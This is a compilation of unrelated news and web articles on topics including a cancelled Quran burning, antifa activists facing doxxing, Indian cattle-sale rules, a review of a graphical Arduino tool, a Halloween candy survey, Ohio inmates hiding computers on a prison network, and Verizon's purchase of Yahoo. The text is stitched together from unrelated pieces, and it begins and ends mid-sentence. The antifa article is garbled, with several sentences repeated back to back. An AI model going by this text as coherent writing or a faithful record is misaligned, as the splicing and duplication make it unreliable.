the Islamic center being planned several blocks north of Ground Zero.  Imam Feisal Abdul Rauf, leader of the planned center, said Friday that he was "prepared to consider meeting with anyone who is seriously committed to pursuing peace," but had no meeting planned with Jones.  "We have come here with the hopes of speaking with the Imam," Jones explained on "Today." "We feel that we have somewhat of a common denominator in the fact that most people do not want the mosque near Ground Zero, and of course I assume all Muslims do not want us to burn the Quran." .  He said there have been voice mails exchanged, but no meeting scheduled as of yet. "We have a couple of people who are working on it who are mediating."  When asked why he canceled the planned Quran burning, Jones said, "We feel that whenever we started this out, one of our reasons was to show, to expose that there is an element of Islam that is very dangerous and very radical. I believe that we have definitely accomplished that mission, even though we have not burned one Quran."  He said he has received death threats.  Jones likened his decision to pursue the plans to burn Qurans, and then cancel the event, with the Biblical story of Abraham. "Abraham was also called to do something very crazy, I mean God told him to go the mountain and sacrifice his son. Of course Abraham was much wiser than us, he told no one. So he got to the mountain. He started to do it, and God told him to stop.  "So we feel we have accomplished our goal," he said. "We're obedient. We feel that God is telling us to stop. And we also hope that with us making this first gesture, not burning the Quran - to say, 'No, we're not going to do it, not today, not ever. We're not going to go back and do it. It is totally canceled - we would hope that through that, maybe that will open up a door, [to] be able to talk to the Imam about the Ground Zero mosque."  He denied that he made the Quran-burning plans to court publicity.  "Absolutely not. We were 100% convinced that this was a type of a mission," he said. "I am of the opinion it is much larger than our politicians and our news media. . . . We have proved that point by the reaction worldwide."  More Coverage Marking the 9th Anniversary of 9/11:  Obama: 9/11 Victims Endure in Our Nation's Heart  President Obama Speaks at Pentagon Memorial  Biden Speaks on 9/11 at Ground Zero  Michelle Obama Remembers Flight 93  Laura Bush Speaks at Flight 93 Memorial  Gallery: Sept. 11, 2010  Islam Controversies Cast Shadow Over 9/11 Events  Proposed Islamic Center Divides 9/11 Families  NYC More Ready for Huge Disaster Than on 9/11?  Muslim Scholar: Don't Build Islamic Center  Obama Remembers Sept. 11, Calls for Unity  Rebuilding Ground Zero
-The anti-fascist movement, also known as antifa, has a long history of physically confronting white supremacist and neo-nazi groups, aiming to deny them a platform to speak and establish their hateful agendas within the realm of “legitimate” political debate.  Recently, the movement has seen a resurgence in response to the Recently, the movement has seen a resurgence in response to the massive uptick in racist violence and rhetoric that has followed Donald Trump’s campaign and election. In Berkeley, CA, anti-fascist protesters shut down a planned speech by right-wing hatemonger Milo Yiannopoulos, setting fires and smashing the windows of nearby corporate storefronts. And in Washington, D.C., groups of black-clad anti-fascists distracted from Trump’s inauguration by spraying graffiti, torching a limousine, and facilitating the now-famous video of neo-nazi leader Richard Spencer being punched in the face  Now, with the increased media visibility, activists aligned with anti-fascist and anti-racist movements face the need to ramp up defenses both online and in the streets, as right-wing trolls attempt to identify, harass, and infiltrate their ranks — so far, with limited success.  Over the weekend, Chuck C. Johnson, Over the weekend, Chuck C. Johnson, an infamous internet troll known for leading misogynist online harassment campaigns, published a list on his website GotNews that he claimed contained the personal information of everyone arrested during the Inauguration Day protests in Washington, D.C. The unconfirmed list gave the alleged names, age, and city of residence of the 231 people indiscriminately mass-arrested by the Metropolitan DC Police after some protesters set fires and smashed the windows of a McDonald’s and other storefronts.  Included on the list is Vocativ reporter Evan Engel, who was covering the protests along with several other journalists who were Included on the list is Vocativ reporter Evan Engel, who was covering the protests along with several other journalists who were previously reported to have been arrested. Despite that only a small group of protesters engaged in destructive acts, nearly all of those arrested at the demonstrations are facing felony rioting charges. (Engel’s charges were later dropped ).  The vast majority of the names could not be independently confirmed; an MPD representative told Vocativ that it would not confirm the authenticity of any documents that are not officially released by the MPD. Johnson is also a vociferous troll and conspiracy theorist known for The vast majority of the names could not be independently confirmed; an MPD representative told Vocativ that it would not confirm the authenticity of any documents that are not officially released by the MPD. Johnson is also a vociferous troll and conspiracy theorist known for outing an alleged rape victim and releasing false information to encourage the harassment of women and is not considered credible.  In another case last week, a website called antifascism.org briefly collected personal information from visitors before it was revealed as a hoax set up by a teenage troll. After it began featuring videos of Adolf Hitler speeches, several “alt right”-aligned Twitter accounts attempted to spread a false story claiming the site is an anti-fascist organizing hub that had been “hacked.” In reality, the site was only a few days old, and the domain name had recently been purchased by one In another case last week, a website called antifascism.org briefly collected personal information from visitors before it was revealed as a hoax set up by a teenage troll. After it began featuring videos of Adolf Hitler speeches, several “alt right”-aligned Twitter accounts attempted to spread a false story claiming the site is an anti-fascist organizing hub that had been “hacked.” In reality, the site was only a few days old, and the domain name had recently been purchased by one Alexander Beck , a teenage Trump supporter from Denver, Colorado. The site featured a form to collect email addresses from visitors, as well as “satirical” false information about the anti-fascist movement.  Anti-fascist groups quickly picked up on Beck’s not-so-elaborate ruse, posting several Anti-fascist groups quickly picked up on Beck’s not-so-elaborate ruse, posting several messages on social media warning that the site is a “honeypot” and that people should stay away. Beck later admitted the site is a hoax, but he claimed that “no data was collected” from visitors when contacted by Vocativ.  “I guess you’re a little dense too, haha. That seems to be the case with your type,” Beck told Vocativ in a Twitter message . When asked why he set up the site, and why he would include an email signup if he wasn’t collecting any data, he refused to answer. “I’m done talking to you,” he said. “You’re fake news.”  While these kinds of attacks are nothing new for them, anti-fascist and anarchist groups say they have anticipated a backlash to their movement’s recent high-profile actions — and they’re not taking any chances.  On Sunday, the anarchist news portal It’s Going Down On Sunday, the anarchist news portal It’s Going Down posted a guide to prevent doxxing , the act of gathering and posting personal information online such as names and addresses for the purpose of targeted harassment. The guide includes instructions on how activists can scrub their information on social media and “people search” sites like Spokeo and Family Tree, which aggregate personal data from public sources.  Many of these defenses have been employed by other groups who have faced online harassment in the past, including women and game designers targeted by the misogynist “GamerGate” movement in 2014. In some cases, victims whose information leaked have received physical death threats and were subjected to “swatting,” a dangerous practice where harassers call in false threats to the victim’s address to summon a heavily-armed SWAT team.  “The bad news is that many of the people they are getting information on are new to our movements and are more likely to have lax security,” It’s Going Down’s authors wrote. “Also, the ability of the Alt-Right to harvest information through online mediums like Facebook shows that we all need to tighten up the ship as we move forward in the current era under Trump, as well as incorporate these ethics into our daily routines.”  The doxxing won’t be limited to online spaces, if the past is any indication. During a recent meeting at an anarchist community organizing space in New York City, attendees were warned that police and far-right infiltrators will likely be reinvigorating efforts to get personal information from anti-fascist activists at events and protests, as they’ve done in the past, an attendee told Vocativ. Organizers are advising activists to form The doxxing won’t be limited to online spaces, if the past is any indication. During a recent meeting at an anarchist community organizing space in New York City, attendees were warned that police and far-right infiltrators will likely be reinvigorating efforts to get personal information from anti-fascist activists at events and protests, as they’ve done in the past, an attendee told Vocativ. Organizers are advising activists to form affinity groups and be wary of unknown parties soliciting personal details, information about organizing, or political views.  The backlash comes after anti-fascist demonstrations on college campuses shut down planned speeches from two prominent neo-fascist leaders: Former Breitbart editor and white supremacist Milo Yiannopoulos, and Gavin McInnis, a co-founder of Vice Media who left the company in 2006 and leader of the “Proud Boys,” an anti-feminist clique within the racist “alt right” identity movement. Activists defended the actions in Berkeley, which resulted in fires and property damage to nearby corporate storefronts, noting that Yiannopolous recently The backlash comes after anti-fascist demonstrations on college campuses shut down planned speeches from two prominent neo-fascist leaders: Former Breitbart editor and white supremacist Milo Yiannopoulos, and Gavin McInnis, a co-founder of Vice Media who left the company in 2006 and leader of the “Proud Boys,” an anti-feminist clique within the racist “alt right” identity movement. Activists defended the actions in Berkeley, which resulted in fires and property damage to nearby corporate storefronts, noting that Yiannopolous recently harassed a transgender student during an event at the University of Wisconsin-Milwaukee. At another event at the University of Washington, in Seattle, an anti-fascist activist was shot by a Milo fan while protesting against his appearance on the campus.  Additional Reporting: Allee Manning
-New Delhi: In a move that will hit not just the export of buffalo meat and leather from India but also drastically affect the availability of buffalo meat (and cow meat in those states where it is legal) for domestic consumption across the country, the Modi government has banned the sale and purchase of ‘cattle’ from animal markets for slaughter with immediate effect.  The environment ministry on May 23, 2017 notified the stringent ‘Prevention of Cruelty to Animals (Regulation of Livestock Markets) Rules, 2017‘, issued under the Prevention of Cruelty to Animals Act. The new rules define ‘cattle’ to include “a bovine animal including bulls, cows, buffalos, steers, heifers and calves and includes camels.”  Harsh Vardhan, the minister placed in charge of the environment portfolio following the sudden death of Anil Dave earlier this month, said the new rules are very “specific” and aim to regulate animal markets and sale of cattle. Its provisions only apply to animals in livestock markets and animals seized as case properties, he said, adding these rules do not cover other areas.  While it would still presumably be legal for the owner of buffalos to sell his livestock for slaughter provided the sale is made directly ant not via an animal market, the new rules would effectively hit all large-scale trade in buffalos for slaughter since large slaughter houses are not in position to source buffalos from individual farmers.  Though the rules have been issued in the name of animal welfare, what is not clear is why cruelty to animals has been equated with slaughter but only for ‘cattle’ solid in animal markets and not for cattle that are slaughtered as part of a private sale wherever such sale is legal, or for other animals that are killed for food such as goats, sheep, pigs and chicken.  Blow to exports  According to media reports, India is a global leader in the export of buffalo meat, a business which has grown from Rs 3,533 crore in 2007 to Rs 26,685 crore in 2016. “The new rules of buffalo trade on which we were not consulted has come as a surprise and shock for the industry. It is not possible for individual farmers to sell their spent animals for slaughter (directly to us) without going to the nearest animal market,” Fauzan Alavi, spokesperson for the All India Meat and Livestock Exporters Association, the trade lobby of buffalo meat exporters, told Livemint.  PTI adds:  The new rules, which also also prohibit practices that are cruel to animals including painting of horns and putting ornaments or decorative materials on them, ban the establishment of an animal market in a place which is situated within 25 km from any state border and within 50 km from any international border.  These also bar people from lifting an animal off the ground, other than poultry for weighing propose, dragging it along the ground, suspending it clear of the ground or tie up or muzzle any calf among others.  According to the notification, the member secretary of an animal market committee will have to ensure that no person brings a young animal to the animal market. “No person shall bring a cattle to an animal market unless upon arrival he has furnished a written declaration signed by the owner of the cattle – stating the name and address of the owner of the cattle, with a copy of the photo identification proof.  “Giving details of the identification of the cattle and stating that the cattle has not been brought to market for sale for slaughter,” the notification said under the point ‘Restrictions on sale of cattle’. In the past, rumours of cow slaughter and the sale of beef have triggered violence in parts of the country.  The rules envisage the constitution of district animal market monitoring committee and an animal market committee. “Cruel and harmful practices shall be prohibited, namely animal identification methods such as hot branding and cold branding, shearing and painting of horns, bishoping in horses and ear cutting in buffaloes. “Casting animals on hard ground without adequate bedding, forcing animals to perform any unnatural acts, such as dancing, putting any ornaments or decorative materials on animals, use of any type of muzzle to prevent animals from suckling or eating food and others,” the notification said.  Choice of food?  Reacting to the ban, the CPI(M)-led LDF government and the Congress-led UDF opposition in Kerala, where beef is consumed widely, attacked the Centre. Chief Minister Pinarayi Vijayan said, “It is not right that a government decides the choice of food of the people. With this decision, the Centre is destroying a sector which employees thousands of people.” The Centre should have consulted with the states and sought their opinion before coming with the notification, he was quoted in a statement as saying.  Echoing similar sentiments, Opposition leader in the state assembly Ramesh Chennithala said, “The Modi government’s effort from the beginning was to curb the constitutional rights and the ban was the latest example of the alleged fascist moves of the government.”  In Hyderabad, Mohammed Saleem, vice president of All India Jamiat-ul-Quresh, said, “The farmer sells cattle which are not useful to them and with that money they buy other animals.Poor people can’t afford fish or chicken. If the government brings this law, we will not follow it.”  The rules also said that the committee will retain every declaration for six months and also take an undertaking that the animals are bought for agriculture purposes and not for slaughter and also keep a record of name and address of the purchaser.  The committee will also verify that the purchaser is an agriculturist and “ensure that the purchaser of the animal gives a declaration that he shall not sell the animal up to six months from the date of purchase and shall abide by the rules relating to transport of animals made under the Act”. “The purchaser of the cattle shall not sell the animal for purpose of slaughter, follow the state cattle protection or preservation laws, not sacrifice the animal for any religious purpose, not sell the cattle to a person outside the state without the permission among others,” the notification said.c  It said during removal of cattle from the animal market, the proof of sale shall be issued in five copies, first handed to purchaser, second to seller, third to tehsil office of the residence of purchaser, fourth to the chief veterinary officer in the district of purchaser and last copy to be kept intact in the record by the animal market committee. “The district animal market monitoring committee shall take steps to ensure that no animal market is organised in a place which is situated within 25 km from any state border or which is situated within 50 km from any international border,” the notification said.  The rules also said that the local authority will make a list of animal markets functional prior to the commencement of these rules and every such market have to register themselves with the committee within three months.  Under the rules, the district animal market monitoring committee will have to ensure that the animal market has adequate housing, shade, feeding troughs, water tanks with multiple taps and buckets, lighting, ramps at the appropriate height of vehicles, enclosures for sick and infirm animals among other provisions.
-Introduction  After helping many people get started with the world of Arduino and electronics, we still find a small percentage of people who are turned off by the concept of programming or have trouble breaking larger tasks into smaller ones with regards to writing algorithms for their code/sketch.  So after being introduced to a new graphical programming tool called “Ardublock“, we were excited about the possibilities wanted to share it with our readers. Ardublock provides a truly graphical and non-coding solution to controlling an Arduino, that is an open-source product and thus free to download and try for yourself.  Installation  Ardublock is a Java application that runs from inside the Arduino IDE, which can be downloaded from here. It’s only one file, that needs to be placed in a new folder in the Arduino IDE. The folder names must be the same as shown below:  Once you’ve copied the file, simply open the Arduino IDE and select Ardublock from the Tools menu:  From which point a new window appears – the Ardublock “development environment”:  Using Ardublock  It’s quite simple – you simply select the required function from the menu on the left and drag it into the large area on the right. For a quick example where we blink the onboard LED on and off – watch the following video:  The following image is the screen capture of the program from the video:  As you can see the “blocks” just fit together, and parameters can be changed with the right mouse button. After a few moments experimenting with the Ardublock software you will have the hang of it in no time at all.  And thus you can demonstrate it to other people and show them how easy it is. And there is much more than just digital output controls, all the functions you’re used to including I2C, variables, constants, servos, tone and more are available.  The only technical thing you need to demonstrate is that the Arduino IDE needs to stay open in the background – as once you have finished creating your program, Ardublock creates the required real Arduino sketch back in the IDE and uploads it to the board.  This is also a neat function – the user can then compare their Ardublock program against the actual sketch, and hopefully after a short duration the user will have the confidence to move on with normal coding.  Conclusion  Ardublock provides a very simple method of controlling an Arduino, and makes a great starting point for teaching the coding-averse, very young people or the cognitively-challenged. It’s open source, integrates well with the official IDE and works as described – so give it a go.  And if you enjoyed this review, or want to introduce someone else to the interesting world of Arduino – check out my book (now in a third printing!) “Arduino Workshop” from No Starch Press.  In the meanwhile have fun and keep checking into tronixstuff.com. Why not follow things on twitter, Google+, subscribe for email updates or RSS using the links on the right-hand column? And join our friendly Google Group – dedicated to the projects and related items on this website. Sign up – it’s free, helpful to each other – and we can all learn something.
-India Ends Animal Testing for Household Products  Like us on Facebook:  The current article you are reading does not reflect the views of the current editors and contributors of the new Ecorazzi  India is bringing in the “2” on a “1-2 punch” against animal testing. Last year India put an end to animal testing for cosmetics and now they’ve announced that there will be no more use of animals for the sake of household products.  The Bureau of Indian Standards (BIS) made the decision after some input from PETA India’s science policy adviser, Dr. Chaitanya Koduri, the only animal rights rep to sit in on the committee.  The committee decided to end the skin sensitization test that consists of rubbing harsh chemicals into a guinea pig’s shaved skin. Instead, “non-animal testing methods” will be used, as well as skin patch tests on humans. That certainly makes more sense since it’s humans using household cleaning products, not guinea pigs.  India now joins Israel as the only nations in the world to end animal testing on both cosmetics and household cleaning products. Way to go, India! And big thanks to PETA India for their work in this matter. Their next goal is to urge India to ban the sale of all cosmetics and household cleaners tested on animals.  Related on Ecorazzi:  +Sao Paulo, Brazil Bans Animal Testing with Hefty Fines  +India Bans Animal Testing for Cosmetic Products  +Brazilian Activists Liberate 200 Lab Beagles  Photo credit: Shutterstock.com
-10 Feb 2014  No city in the United States faces as grave a threat from flooding, hurricanes, and rising seas as New Orleans, part of which lies below sea level. But New Orleans architect David Waggonner and his associates, learning lessons from the Dutch , have proposed a revolutionary vision for New Orleans that seeks to make an asset of the water that surrounds the city, remaking unsightly canals into an important and scenic part of the landscape and mimicking nature to store rainfall. Waggoner’s firm has been chosen to help develop a Greater New Orleans Urban Water Plan , a first step in what could be a multi-billion dollar project to redesign the ways in which the region co-exists with water. “To sustain the city in this difficult site in an era of rising seas and more extreme weather, we must convert our necessities into niceties, into desirable places that connect with people and culture,” Waggonner told Yale Environment 360.
-Yesterday, we reported on a strange article in which Fortune Magazine tried to make the case that Tesla should have disclosed the fatal Model S accident on Autopilot before raising capital through a secondary offering a few weeks after the fact. The publication claims that the accident was material to Tesla’s stock and therefore, it should have been announced when the company learned of the event and not when NHTSA decided it would launch a preliminary evaluation on June 30.  Elon Musk argued against it being material to Tesla’s valuation in an email to Fortune, but now the publication is somehow trying to use a boilerplate statement from Tesla to prove that Musk and the company previously considered the accident a material event, which is not necessarily the case.  The new article today called ‘Tesla Said an Autopilot Crash Would Be ‘Material’ Before Elon Musk Said It Wasn’t‘ doubled down on the publication’s claim. In this new report, the magazine is claiming that a risk disclosure statement in a recent SEC filing from Tesla is contradicting Musk’s claim that the event is not material to Tesla’s valuation:  “But back in early May, Tesla said exactly the opposite of what its founder is saying now in an SEC filing. The company warned investors that a fatal crash related to its autopilot feature, even a single incident, would be a material event to “our brand, business, prospects, and operating results.” The disclosure said that the company may face product liability claims due to “failures of new technologies that we are pioneering, including autopilot in our vehicles,” adding that “product liability claims could harm our business, prospects, operating results and financial condition.”  Fortune attempts to link the timing of this disclosure to the fatal accident:  “The company made the disclosure on May 10, just three days after the fatal autopilot accident, but likely after the company knew about the crash.”  But this is a boilerplate risk disclosure statement which has been part of Tesla quarterly and annual filings for a long time. It is also in this 10-K filing published on February 24 or months before the accident. Fortune either didn’t know this or conveniently left it out of the article.  Now there’s also a problem on how Fortune is interpreting the disclosure. You can read how Fortune dissected it above, but here’s the disclosure in full:  “Product liability claims could harm our business, prospects, operating results and financial condition. The automobile industry experiences significant product liability claims and we face inherent risk of exposure to claims in the event our vehicles do not perform as expected resulting in personal injury or death. We also may face similar claims related to any misuse or failures of new technologies that we are pioneering, including autopilot in our vehicles and our Tesla Energy products. A successful product liability claim against us with respect to any aspect of our products could require us to pay a substantial monetary award. Our risks in this area are particularly pronounced given the limited number of vehicles and energy storage products delivered to date and limited field experience of our products. “  To link this disclosure to the tragic Model S accident is to claim that the Autopilot didn’t “perform as expected” and caused the crash. Fortune is not claiming that in so many words, but it’s the only way for the description to fit and no one is currently claiming that the Autopilot caused the accident – only that the Autopilot was activated during the accident.  @alansmurray Yes, it was material to you — BS article increased your advertising revenue. Just wasn't material to TSLA, as shown by market. — Elon Musk (@elonmusk) July 5, 2016  It has been discussed and we write about it in detail in our report ‘Understanding the fatal Tesla accident on Autopilot and the NHTSA probe‘, but the Autopilot is not meant to prevent an accident like that one and the driver is responsible for monitoring the vehicle and to be ready to take action at all times. Additionally, The initial accident report from the highway patrol clearly highlights that the truck driver “failed to yield right-of-way.”  NHTSA did launch a preliminary evaluation into the accident, but until the results are made public, it wouldn’t be wise to place the blame on Tesla’s Autopilot and therefore to claim that the risk disclosure statement is contradicting Musk’s claim that the event was not material to Tesla’s valuation.  As we mentioned in our last article on this scuffle between Fortune and Elon Musk, the publication participated in the Koch brothers’ multi-million dollar PR offensive on electric vehicles by providing them sponsored articles in the magazine. It appears to be a huge battle between publications fighting for those big Koch/Oil dollars.
-NEW YORK (AFP) – Security scanners which can see through passengers’ clothing and reveal details of their body underneath are being installed in 10 US airports, the US Transportation Security Administration said Tuesday.  A random selection of travellers getting ready to board airplanes in Washington, New York’s Kennedy, Los Angeles and other key hubs will be shut in the glass booths while a three-dimensional image is made of their body beneath their clothes.  The booths close around the passenger and emit “millimeter waves” that go through cloth to identify metal, plastics, ceramics, chemical materials and explosives, according to the TSA.  While it allows the security screeners — looking at the images in a separate room — to clearly see the passenger’s sexual organs as well as other details of their bodies, the passenger’s face is blurred, TSA said in a statement on its website.  The scan only takes seconds and is to replace the physical pat-downs of people that is currently widespread in airports.  TSA began introducing the body scanners in airports in April, first in the Phoenix, Arizona terminal.  The installation is picking up this month, with machines in place or planned for airports in Washington (Reagan National and Baltimore-Washington International), Dallas, Las Vegas, Albuquerque, Miami and Detroit.  But the new machines have provoked worries among passengers and rights activists.  “People have no idea how graphic the images are,” Barry Steinhardt, director of the technology and liberty program at the American Civil Liberties Union, told AFP.  The ACLU said in a statement that passengers expecting privacy underneath their clothing “should not be required to display highly personal details of their bodies such as evidence of mastectomies, colostomy appliances, penile implants, catheter tubes and the size of their breasts or genitals as a pre-requisite to boarding a plane.”  FULL STORY: CLICK HERE
-When the summer weather finally starts to fade, and the crisp air brings the changing of the seasons, one thing is for sure – fall is finally here and the holiday season has begun. First up? Halloween and two of our favorite things: costumes and candy.  Whether you decide to get decked up and go all out for Halloween or want to keep it simple with your favorite scary movies at home, there's no denying the allure of some of our favorite and most nostalgic Halloween candies.  Of course, some of these candies can be a bit more controversial than others. While some are near-favorites by default, others are virtually dreaded and disgusted. You might know how you feel about Reese's Peanut Butter Cups, Snickers, and Butterfinger – but what about candy corn, licorice, or Raisinets? We surveyed over 2,000 Americans to see which were their favorites, and which ones they wouldn't touch with a 7-foot broomstick. Continue reading to see what people from your state had to say.  A Hard Pass  In almost two-thirds of the country, the award for the worst Halloween candy came down to one of two choices: candy corn and licorice. It's hard to know which one kids most hate finding in their bags after a long night of trick-or-treating, or which is most likely to show up on the clearance rack come Nov. 1 – but these two were a fairly safe bet.  In 21 states (including California, Georgia, and Maryland), candy corn came out on top as the most dreaded of all Halloween candy options. While there may be some debate online among a few candy corn loyalists, the reality is that these notorious orange, white, and yellow corn kernels aren't inspiring a lot of love among most Americans.  In 13 states (including Alabama, New York, and Nevada), licorice took the top spot as the worst candy option around. As it turns out, there may be a bit of science behind the hatred some people feel toward licorice. In the same way that people either love or hate cilantro, research suggests an aversion to licorice could be instilled into our very DNA. Of course, if it's the smell of licorice that puts you off, that's a learned preference and means you're among the many Americans who simply dislike it.  Other outliers that ranked among the least favorite candy options? Almond Joy, jawbreakers, Raisinets, Pixy Stix, Tootsie Rolls, Hot Tamales, and Necco Wafers.  I'll Take Two, Please  Now that we've gotten the nasty stuff out of the way, let's turn our attention to the best of the best when it comes to Halloween treats. The candy for which giving out full-size bars might make you a Halloween legend on your block.  The absolute favorite Halloween candy, according to Americans in 38 states (including Washington, D.C.)? Reese's Peanut Butter Cups. Available in a number of options, including holiday shapes (like a pumpkin, Christmas tree, or Easter egg), spreads, cakes, and even burger toppings, there's no denying Americans love their Reese's. Thankfully, all that creamy, delicious peanut butter actually makes them a fairly good source of protein, even if they shouldn't exactly be a staple in your diet.  Second place might also be the same as first loser, but in 12 states (including a tie in California, Michigan, and Rhode Island), Snickers was actually the favorite overall. The proof could be in the sales because Snickers bars outsold Reese's around the world in 2017. Those delicious layers of peanuts, caramel, and nougat all wrapped in milk chocolate can be hard to resist, so Halloween might just be the perfect time to indulge.  It would be hard to dethrone these two Halloween candy kings, but Almond Joy, Kit Kat, Twix, Nerds, Sour Patch Kids, and Butterfinger all managed to rank in a few states as people's all-time favorites.  Comforting (and Cursed) Confectionaries  In the battle between the best and worst Halloween candy, nearly all of the top-favorites across the U.S. had one thing in common: chocolate.  Chocolate may occasionally get a bad reputation, but studies have linked it to lowering cholesterol levels, preventing cognitive decline (including memory loss), and reducing the risk for cardiovascular problems. Its potential health benefits could be a bonus, but they don't exactly explain why Americans love chocolate so much. Scientifically speaking, chocolate can help us feel happier by releasing dopamine (the feel-good chemical) in the brain. In addition to triggering the receptors that make us feel good, dopamine can even help relieve stress –helping explain why Americans might enjoy it so much.  Nearly 1 in 5 Americans agreed – Reese's was the all-time best Halloween candy on our list. Following this, Snickers, Kit Kat, and Twix landed the top spots for chocolaty goodness. And the worst candy? Candy corn, licorice, and jawbreakers.  Sweets Spanning the Years  Even though Americans agreed on the Halloween candy they loved most, they had slightly different opinions on which were the worst.  Today, Halloween and candy go together like Thanksgiving and turkey or Christmas and pine trees – but that wasn't always the case. Trick-or-treating didn't really exist until the 1930s and wasn't really popular until the '40s and '50s. Until the 1950s, it wasn't uncommon to find nuts, cereal, or even homemade cakes in a Halloween basket. Even though the first Reese's (called "penny cups") were sold in 1928, and Snickers bars hit shelves just two years later in 1930, plenty of candies were popular years ago that you might not have heard of today (like Cherry Mash).  Baby boomers, Gen Xers, and millennials all agreed Reese's was the best Halloween candy, but baby boomers had a different opinion on which candy took the top slot for worst overall. While Gen Xers and millennials ranked candy corn as their least favorite, baby boomers gave that honor to jawbreakers.  Flavor Favor  Even though some of the best and worst Halloween candies could easily be referred to as classics, new candies and candy flavors are hitting the market all the time. Like the new caramel M&M's, hazelnut-flavored Snickers bars, and "Sweet Heat" Skittles coming out in 2017, even your favorites get a fresh new flavor and look now and then.  Not all flavors are destined to be a hit, though. Nearly 29 percent of Americans said banana-flavored candy was the worst, followed by lemon and grape. But not every candy has to be chocolate to be delicious, according to the people polled. Roughly 1 in 5 said they loved strawberry-flavored candy (pink Starburst, anyone?), while slightly more said cherry was the best hands down.  Sweet Smalltalk  We asked Americans across the country to describe the most celebrated and disgusting Halloween candies – the revered Reese's Peanut Butter Cups and condemnable candy corn.  People we polled didn't mince words when giving us their two cents on what it's like to actually eat candy corn. Besides "sugar" (the number one ingredient listed in candy corn), Americans called out the words "flavor," "eat," and "gross" which might tell us everything we need to know about what makes candy corn so reviled. Other common callouts included "wax," "texture," and "never."  On the other end of the Halloween candy spectrum, people described eating a Reese's with words like "chocolate," "best," "peanut," and "taste." Peanut butter and jelly should probably move over – the "flavor" and "texture" of peanut butter and chocolate could be America's favorite peanut butter combination.  Making Halloween Great Again  When it comes to kicking off the fall holiday season, Halloween gets first dibs. When the autumn weather starts to settle in, you know costumes and candy are on the horizon. If you're thinking about stocking up for your local trick-or-treaters, keep these tips in mind: Chocolate-based candy will generally go over better than anything else, and Reese's and Snickers are bound to be a smash hit. If you see a sale on candy corn – there's probably a good reason why. And if you're still on the fence for some reason, perhaps consider dressing up as candy corn rather than passing it out.  If you're looking to complete the rest of your Halloween necessities, Halloween Express has everything you need. From the best in costumes and accessories for kids and adults alike to all of the props, decor, and party supplies you'll need to throw the perfect Halloween celebration. Shop online today or find a local Halloween Express near you today.  Methodology  We surveyed over 2,000 Americans about their Halloween candy preferences. For statewide data, all states had a minimum sample size of 11 survey respondents.  Fair Use Statement  Want to treat others with the findings on this page? Feel free to share the images and content here for noncommercial purposes. Just don't pull any tricks when doing so and provide a link back to this page, so the authors receive proper credit.
-Story highlights Inmates built, transported and hid two computers in the prison's ceiling  A prison program employs inmates to disassemble old gadgets for recycling  (CNN) Lax security allowed inmates at an Ohio prison to build two computers and connect them to the state's Department of Rehabilitation and Correction's network, investigators found.  The computers were found hidden in the ceiling of the prison in Marion County in 2015, prompting an investigation by Ohio's Inspector General.  The computers contained applications for credit cards using another inmate's information, pornography, research on tax refund fraud, recipes for homemade drugs and message exchanges.  The Marion Correctional Institution inmates were also able to issue passes to gain access to multiple areas within the prison.  IT employees had received an alert about a computer using ODRC's computer network that "had exceeded a daily internet usage threshold." The alert also pointed out that the computers were being used with a former employee and prison contractor's stolen credentials.  Read More
-You read that right: ONE HUNDRED classic gaming backgrounds, prescaled and optimized for our favorite little handheld device. If viewing this article on your iPhone, simply save the image, view it in your Photos app, then hit the lower left button and select "Use as Wallpaper."  Above: Don't mind the empty spaces - We've done all the cropping and scaling for you!  Don’t own an iPhone? No biggie. They should work on just about any smartphone, Blackberry, etc. As for the rest of you, we’ve officially made good onthe promised from this Hateful article. Sorry... we only sort of meant it.  Read more: Best iPhone games 2017  1. Super Mario Bros. 3  2. Mortal Kombat  3. Bionic Commando  4. Chrono Trigger  5. Blaster Master  6. Mega Man 2  7.Aladdin  8. Day of the Tentacle  9. Street Fighter II  10. Super Castlevania IV  11. DuckTales  12. Earthworm Jim  13. Mickey Mania  14. Ninja Gaiden II  15. Sonic the Hedgehog  16. Pro Wrestling  17. Spacer Harrier  18. The Legend of Zelda  19. Toejam and Earl  20. Sonic the Hedgehog2  Head to the next page for Star Wars, Donkey Kong, Pac-Man and Punch-Out!!
-Almost a decade after Microsoft made an unsolicited bid to acquire Yahoo for $50 billion, moments ago Verizon confirmed recent rumors that it would acquire Yahoo operating business for approximately $4.83 billion in cash, far below initial estimates floated several months ago that the segment could sell for as much as $10 billion.  A brief history of Yahoo's tumultuous M&A history:  As the WSJ adds, the price tag, which includes Yahoo’s core internet business and some real estate, is a remarkable fall for the Silicon Valley web pioneer that once had a market capitalization of more than $125 billion at the height of the dot-com boom.  For New York-based Verizon, the deal simply adds another piece to the digital media and advertising business it is trying to build. The companies said the deal is subject to customary closing conditions, including approval by Yahoo’s shareholders, and is expected to close in early 2017. The sale doesn't include, among other things, Yahoo’s cash, its shares in Alibaba Group Holding Ltd. , its shares in Yahoo Japan, and Yahoo’s noncore patents, called the Excalibur portfolio. These assets will continue to be held by Yahoo, which will change its name at closing and become a registered, publicly traded investment company.  So how much does Marissa Meyer - who may soon be unemployed - collect for "creating value" at the company during her 5 year tenure? Somewhere around $300 million. In the press release the future role for Mayer was not outlined; however, she is unlikely to have a prominent role—if any—under Verizon, people familiar with the matter said. She stands to make more than $50 million in compensation if she is terminated as a result of the sale.  On the other hand, Bloomberg notes that she intends to stay with the combined company, although that remains to be confirmed.  “For me personally, I’m planning to stay... It’s important to me to see Yahoo into its next chapter,” CEO Marissa Mayer says in statement  From the press release:  Verizon Communications Inc. and Yahoo! Inc. today announce they have entered into a definitive agreement under which Verizon will acquire Yahoo's operating business for approximately $4.83 billion in cash, subject to customary closing adjustments.  Yahoo informs, connects and entertains a global audience of more than 1 billion monthly active users** -- including 600 million monthly active mobile users*** through its search, communications and digital content products. Yahoo also connects advertisers with target audiences through a streamlined advertising technology stack that combines the power of their data, content and technology.  Lowell McAdam, Verizon Chairman and CEO, said: "Just over a year ago we acquired AOL to enhance our strategy of providing a cross-screen connection for consumers, creators and advertisers. The acquisition of Yahoo will put Verizon in a highly competitive position as a top global mobile media company, and help accelerate our revenue stream in digital advertising."  Yahoo will be integrated with AOL under Marni Walden, EVP and President of the Product Innovation and New Businesses organization at Verizon.  Marissa Mayer, CEO of Yahoo, said: "Yahoo is a company that has changed the world, and will continue to do so through this combination with Verizon and AOL. The sale of our operating business, which effectively separates our Asian asset equity stakes, is an important step in our plan to unlock shareholder value for Yahoo. This transaction also sets up a great opportunity for Yahoo to build further distribution and accelerate our work in mobile, video, native advertising and social."  Mayer added, "Yahoo and AOL popularized the Internet, email, search and real-time media. It's poetic to be joining forces with AOL and Verizon as we enter our next chapter focused on achieving scale on 